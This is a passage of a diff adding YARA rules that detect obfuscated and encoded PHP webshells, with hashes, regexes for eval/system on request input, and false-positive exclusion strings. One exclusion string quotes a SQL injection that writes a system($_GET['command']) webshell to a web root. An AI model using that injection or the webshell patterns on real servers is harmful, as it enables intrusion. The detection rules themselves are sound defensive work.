+        hash = "93982b8df76080e7ba4520ae4b4db7f3c867f005b3c2f84cb9dff0386e361c35"
+        hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
+        hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
+        hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
+        hash = "fd5f0f81204ca6ca6e93343500400d5853012e88254874fc9f62efe0fde7ab3c"
+        hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
+        hash = "6d042b6393669bb4d98213091cabe554ab192a6c916e86c04d06cc2a4ca92c00"
+        hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
+
+
+        id = "79cfbd88-f6f7-5cba-a325-0a99962139ca"
+    strings:
+        // new: eval($GLOBALS['_POST'
+        $geval = /\b(exec|shell_exec|passthru|system|popen|proc_open|pcntl_exec|eval|assert)[\t ]{0,500}(\(base64_decode)?(\(stripslashes)?[\t ]{0,500}(\(trim)?[\t ]{0,500}\(\$(_POST|_GET|_REQUEST|_SERVER\s?\[['"]HTTP_|GLOBALS\[['"]_(POST|GET|REQUEST))/ wide ascii
+
+        //strings from private rule php_false_positive
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        // a good choice is a string with good atom quality = ideally 4 unusual characters next to each other
+        $gfp1  = "eval(\"return [$serialised_parameter" // elgg
+        $gfp2  = "$this->assert(strpos($styles, $"
+        $gfp3  = "$module = new $_GET['module']($_GET['scope']);"
+        $gfp4  = "$plugin->$_POST['action']($_POST['id']);"
+        $gfp5  = "$_POST[partition_by]($_POST["
+        $gfp6  = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+        $gfp7  = "The above example code can be easily exploited by passing in a string such as" // ... ;)
+        $gfp8  = "Smarty_Internal_Debug::start_render($_template);"
+        $gfp9  = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+        $gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+        $gfp11 = "(eval (getenv \"EPROLOG\")))"
+        $gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+        // Log files
+        $gfp_3 = " GET /"
+        $gfp_4 = " POST /"
+    condition:
+        filesize < 300KB and not (
+            any of ( $gfp* )
+        )
+        and $geval
+}
+
+rule WEBSHELL_PHP_Double_Eval_Tiny
+{
+    meta:
+        description = "PHP webshell which probably hides the input inside an eval()ed obfuscated string"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021-01-11"
+        modified = "2023-07-05"
+        hash = "f66fb918751acc7b88a17272a044b5242797976c73a6e54ac6b04b02f61e9761"
+        hash = "6b2f0a3bd80019dea536ddbf92df36ab897dd295840cb15bb7b159d0ee2106ff"
+        hash = "aabfd179aaf716929c8b820eefa3c1f613f8dcac"
+        hash = "9780c70bd1c76425d4313ca7a9b89dda77d2c664"
+        hash = "006620d2a701de73d995fc950691665c0692af11"
+
+
+        id = "868db363-83d3-57e2-ac8d-c6125e9bdd64"
+    strings:
+        $payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
+        $fp1 = "clone" fullword wide ascii
+        $fp2 = "* @assert" ascii
+        $fp3 = "*@assert" ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize > 70 and filesize < 300 and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and #payload >= 2 and not any of ( $fp* )
+}
+
+rule WEBSHELL_PHP_OBFUSC
+{
+    meta:
+        description = "PHP webshell obfuscated"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/12"
+        modified = "2024-03-11"
+        hash = "eec9ac58a1e763f5ea0f7fa249f1fe752047fa60"
+        hash = "181a71c99a4ae13ebd5c94bfc41f9ec534acf61cd33ef5bce5fb2a6f48b65bf4"
+        hash = "76d4e67e13c21662c4b30aab701ce9cdecc8698696979e504c288f20de92aee7"
+        hash = "1d0643927f04cb1133f00aa6c5fa84aaf88e5cf14d7df8291615b402e8ab6dc2"
+        id = "f66e337b-8478-5cd3-b01a-81133edaa8e5"
+    strings:
+
+        //strings from private rule php_false_positive
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        // a good choice is a string with good atom quality = ideally 4 unusual characters next to each other
+        $gfp1  = "eval(\"return [$serialised_parameter" // elgg
+        $gfp2  = "$this->assert(strpos($styles, $"
+        $gfp3  = "$module = new $_GET['module']($_GET['scope']);"
+        $gfp4  = "$plugin->$_POST['action']($_POST['id']);"
+        $gfp5  = "$_POST[partition_by]($_POST["
+        $gfp6  = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+        $gfp7  = "The above example code can be easily exploited by passing in a string such as" // ... ;)
+        $gfp8  = "Smarty_Internal_Debug::start_render($_template);"
+        $gfp9  = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+        $gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+        $gfp11 = "(eval (getenv \"EPROLOG\")))"
+        $gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_php_obfuscation_multi
+        $o1 = "chr(" nocase wide ascii
+        $o2 = "chr (" nocase wide ascii
+        // not excactly a string function but also often used in obfuscation
+        $o3 = "goto" fullword nocase wide ascii
+        $o4 = "\\x9" wide ascii
+        $o5 = "\\x3" wide ascii
+        // just picking some random numbers because they should appear often enough in a long obfuscated blob and it's faster than a regex
+        $o6 = "\\61" wide ascii
+        $o7 = "\\44" wide ascii
+        $o8 = "\\112" wide ascii
+        $o9 = "\\120" wide ascii
+        $fp1 = "$goto" wide ascii
+
+        //strings from private rule capa_php_payload
+        // \([^)] to avoid matching on e.g. eval() in comments
+        $cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+        $cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+        $cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+
+        $m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+        $m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+        // TODO backticks
+
+    condition:
+        not (
+            any of ( $gfp* )
+        )
+        and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and (
+            // allow different amounts of potential obfuscation functions depending on filesize
+            not $fp1 and (
+                (
+                        filesize < 20KB and
+                        (
+                            ( #o1+#o2 ) > 50 or
+                            #o3 > 10 or
+                            ( #o4+#o5+#o6+#o7+#o8+#o9 ) > 20
+                        )
+                ) or (
+                        filesize < 200KB and
+                        (
+                            ( #o1+#o2 ) > 200 or
+                            #o3 > 30 or
+                            ( #o4+#o5+#o6+#o7+#o8+#o9 ) > 30
+                        )
+
+                )
+            )
+
+
+        )
+        and (
+            any of ( $cpayload* ) or
+        all of ( $m_cpayload_preg_filter* )
+        )
+
+}
+
+rule WEBSHELL_PHP_OBFUSC_Encoded
+{
+    meta:
+        description = "PHP webshell obfuscated by encoding"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/04/18"
+        modified = "2023-04-05"
+        score = 70
+        hash = "119fc058c9c5285498a47aa271ac9a27f6ada1bf4d854ccd4b01db993d61fc52"
+        hash = "d5ca3e4505ea122019ea263d6433221030b3f64460d3ce2c7d0d63ed91162175"
+        hash = "8a1e2d72c82f6a846ec066d249bfa0aaf392c65149d39b7b15ba19f9adc3b339"
+
+
+        id = "134c1189-1b41-58d5-af66-beaa4795a704"
+    strings:
+        // one without plain e, one without plain v, to avoid hitting on plain "eval("
+        $enc_eval1 = /(e|\\x65|\\101)(\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
+        $enc_eval2 = /(\\x65|\\101)(v|\\x76|\\118)(a|\\x61|\\97)(l|\\x6c|\\108)(\(|\\x28|\\40)/ wide ascii nocase
+        // one without plain a, one without plain s, to avoid hitting on plain "assert("
+        $enc_assert1 = /(a|\\97|\\x61)(\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
+        $enc_assert2 = /(\\97|\\x61)(s|\\115|\\x73)(s|\\115|\\x73)(e|\\101|\\x65)(r|\\114|\\x72)(t|\\116|\\x74)(\(|\\x28|\\40)/ wide ascii nocase
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 700KB and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and any of ( $enc* )
+}
+
+rule WEBSHELL_PHP_OBFUSC_Encoded_Mixed_Dec_And_Hex
+{
+    meta:
+        description = "PHP webshell obfuscated by encoding of mixed hex and dec"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/04/18"
+        modified = "2023-04-05"
+        hash = "0e21931b16f30b1db90a27eafabccc91abd757fa63594ba8a6ad3f477de1ab1c"
+        hash = "929975272f0f42bf76469ed89ebf37efcbd91c6f8dac1129c7ab061e2564dd06"
+        hash = "88fce6c1b589d600b4295528d3fcac161b581f739095b99cd6c768b7e16e89ff"
+        hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
+        hash = "50389c3b95a9de00220fc554258fda1fef01c62dad849e66c8a92fc749523457"
+        hash = "c4ab4319a77b751a45391aa01cde2d765b095b0e3f6a92b0b8626d5c7e3ad603"
+        hash = "df381f04fca2522e2ecba0f5de3f73a655d1540e1cf865970f5fa3bf52d2b297"
+        hash = "401388d8b97649672d101bf55694dd175375214386253d0b4b8d8d801a89549c"
+        hash = "99fc39a12856cc1a42bb7f90ffc9fe0a5339838b54a63e8f00aa98961c900618"
+        hash = "fb031af7aa459ee88a9ca44013a76f6278ad5846aa20e5add4aeb5fab058d0ee"
+        hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
+        hash = "0ff05e6695074f98b0dee6200697a997c509a652f746d2c1c92c0b0a0552ca47"
+
+        id = "9ae920e2-17c8-58fd-8566-90d461a54943"
+    strings:
+        // "e\x4a\x48\x5a\x70\x63\62\154\x30\131\171\101\x39\111\x43\x52\x66\x51\
+        //$mix = /['"]\\x?[0-9a-f]{2,3}[\\\w]{2,20}\\\d{1,3}[\\\w]{2,20}\\x[0-9a-f]{2}\\/ wide ascii nocase
+        $mix = /['"](\w|\\x?[0-9a-f]{2,3})[\\x0-9a-f]{2,20}\\\d{1,3}[\\x0-9a-f]{2,20}\\x[0-9a-f]{2}\\/ wide ascii nocase
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 700KB and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and any of ( $mix* )
+}
+
+rule WEBSHELL_PHP_OBFUSC_Tiny
+{
+    meta:
+        description = "PHP webshell obfuscated"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/12"
+        modified = "2024-03-11"
+        hash = "b7b7aabd518a2f8578d4b1bc9a3af60d155972f1"
+        hash = "694ec6e1c4f34632a9bd7065f73be473"
+        hash = "5c871183444dbb5c8766df6b126bd80c624a63a16cc39e20a0f7b002216b2ba5"
+
+        id = "d78e495f-54d2-5f5f-920f-fb6612afbca3"
+    strings:
+        // 'ev'.'al'
+        $obf1 = /\w'\.'\w/ wide ascii
+        $obf2 = /\w\"\.\"\w/ wide ascii
+        $obf3 = "].$" wide ascii
+
+        //strings from private rule php_false_positive
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        // a good choice is a string with good atom quality = ideally 4 unusual characters next to each other
+        $gfp1  = "eval(\"return [$serialised_parameter" // elgg
+        $gfp2  = "$this->assert(strpos($styles, $"
+        $gfp3  = "$module = new $_GET['module']($_GET['scope']);"
+        $gfp4  = "$plugin->$_POST['action']($_POST['id']);"
+        $gfp5  = "$_POST[partition_by]($_POST["
+        $gfp6  = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+        $gfp7  = "The above example code can be easily exploited by passing in a string such as" // ... ;)
+        $gfp8  = "Smarty_Internal_Debug::start_render($_template);"
+        $gfp9  = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+        $gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+        $gfp11 = "(eval (getenv \"EPROLOG\")))"
+        $gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_php_payload
+        // \([^)] to avoid matching on e.g. eval() in comments
+        $cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+        $cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+        $cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+
+        $m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+        $m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+        // TODO backticks
+
+    condition:
+        //any of them or
+        filesize < 500 and not (
+            any of ( $gfp* )
+        )
+        and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and (
+            any of ( $cpayload* ) or
+        all of ( $m_cpayload_preg_filter* )
+        )
+        and
+        ( ( #obf1 + #obf2 ) > 2 or #obf3 > 10 )
+}
+
+rule WEBSHELL_PHP_OBFUSC_Str_Replace
+{
+    meta:
+        description = "PHP webshell which eval()s obfuscated string"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/12"
+        modified = "2023-04-05"
+        hash = "691305753e26884d0f930cda0fe5231c6437de94"
+        hash = "7efd463aeb5bf0120dc5f963b62463211bd9e678"
+        hash = "fb655ddb90892e522ae1aaaf6cd8bde27a7f49ef"
+        hash = "d1863aeca1a479462648d975773f795bb33a7af2"
+        hash = "4d31d94b88e2bbd255cf501e178944425d40ee97"
+        hash = "e1a2af3477d62a58f9e6431f5a4a123fb897ea80"
+
+        id = "1f5b93c9-bdeb-52c7-a99a-69869634a574"
+    strings:
+        $payload1 = "str_replace" fullword wide ascii
+        $payload2 = "function" fullword wide ascii
+        $goto = "goto" fullword wide ascii
+        //$hex  = "\\x"
+        $chr1  = "\\61" wide ascii
+        $chr2  = "\\112" wide ascii
+        $chr3  = "\\120" wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 300KB and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and any of ( $payload* ) and #goto > 1 and
+        ( #chr1 > 10 or #chr2 > 10 or #chr3 > 10 )
+}
+
+rule WEBSHELL_PHP_OBFUSC_Fopo
+{
+    meta:
+        description = "PHP webshell which eval()s obfuscated string"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        hash = "fbcff8ea5ce04fc91c05384e847f2c316e013207"
+        hash = "6da57ad8be1c587bb5cc8a1413f07d10fb314b72"
+        hash = "a698441f817a9a72908a0d93a34133469f33a7b34972af3e351bdccae0737d99"
+        date = "2021/01/12"
+        modified = "2023-04-05"
+
+        id = "a298e99d-1ba8-58c8-afb9-fc988ea91e9a"
+    strings:
+        $payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
+        // ;@eval(
+        $one1 = "7QGV2YWwo" wide ascii
+        $one2 = "tAZXZhbC" wide ascii
+        $one3 = "O0BldmFsK" wide ascii
+        $one4 = "sAQABlAHYAYQBsACgA" wide ascii
+        $one5 = "7AEAAZQB2AGEAbAAoA" wide ascii
+        $one6 = "OwBAAGUAdgBhAGwAKA" wide ascii
+        // ;@assert(
+        $two1 = "7QGFzc2VydC" wide ascii
+        $two2 = "tAYXNzZXJ0K" wide ascii
+        $two3 = "O0Bhc3NlcnQo" wide ascii
+        $two4 = "sAQABhAHMAcwBlAHIAdAAoA" wide ascii
+        $two5 = "7AEAAYQBzAHMAZQByAHQAKA" wide ascii
+        $two6 = "OwBAAGEAcwBzAGUAcgB0ACgA" wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 3000KB and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and $payload and
+        ( any of ( $one* ) or any of ( $two* ) )
+}
+
+rule WEBSHELL_PHP_Gzinflated
+{
+    meta:
+        description = "PHP webshell which directly eval()s obfuscated string"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/12"
+        modified = "2023-07-05"
+        hash = "49e5bc75a1ec36beeff4fbaeb16b322b08cf192d"
+        hash = "6f36d201cd32296bad9d5864c7357e8634f365cc"
+        hash = "ab10a1e69f3dfe7c2ad12b2e6c0e66db819c2301"
+        hash = "a6cf337fe11fe646d7eee3d3f09c7cb9643d921d"
+        hash = "07eb6634f28549ebf26583e8b154c6a579b8a733"
+
+        id = "9cf99ae4-9f7c-502f-9294-b531002953d6"
+    strings:
+        $payload2 = /eval\s?\(\s?("\?>".)?gzinflate\s?\(\s?base64_decode\s?\(/ wide ascii nocase
+        $payload4 = /eval\s?\(\s?("\?>".)?gzuncompress\s?\(\s?(base64_decode|gzuncompress)/ wide ascii nocase
+        $payload6 = /eval\s?\(\s?("\?>".)?gzdecode\s?\(\s?base64_decode\s?\(/ wide ascii nocase
+        $payload7 = /eval\s?\(\s?base64_decode\s?\(/ wide ascii nocase
+        $payload8 = /eval\s?\(\s?pack\s?\(/ wide ascii nocase
+
+        // api.telegram
+        $fp1 = "YXBpLnRlbGVncmFtLm9"
+
+        //strings from private rule php_false_positive
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        // a good choice is a string with good atom quality = ideally 4 unusual characters next to each other
+        $gfp1  = "eval(\"return [$serialised_parameter" // elgg
+        $gfp2  = "$this->assert(strpos($styles, $"
+        $gfp3  = "$module = new $_GET['module']($_GET['scope']);"
+        $gfp4  = "$plugin->$_POST['action']($_POST['id']);"
+        $gfp5  = "$_POST[partition_by]($_POST["
+        $gfp6  = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+        $gfp7  = "The above example code can be easily exploited by passing in a string such as" // ... ;)
+        $gfp8  = "Smarty_Internal_Debug::start_render($_template);"
+        $gfp9  = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+        $gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+        $gfp11 = "(eval (getenv \"EPROLOG\")))"
+        $gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 700KB and not (
+            any of ( $gfp* )
+        )
+        and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and 1 of ( $payload* ) and not any of ( $fp* )
+}
+
+rule WEBSHELL_PHP_OBFUSC_3
+{
+    meta:
+        description = "PHP webshell which eval()s obfuscated string"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/04/17"
+        modified = "2024-03-11"
+        hash = "11bb1fa3478ec16c00da2a1531906c05e9c982ea"
+        hash = "d6b851cae249ea6744078393f622ace15f9880bc"
+        hash = "14e02b61905cf373ba9234a13958310652a91ece"
+        hash = "6f97f607a3db798128288e32de851c6f56e91c1d"
+
+        id = "f2017e6f-0623-53ff-aa26-a479f3a02024"
+    strings:
+        $obf1 = "chr(" wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
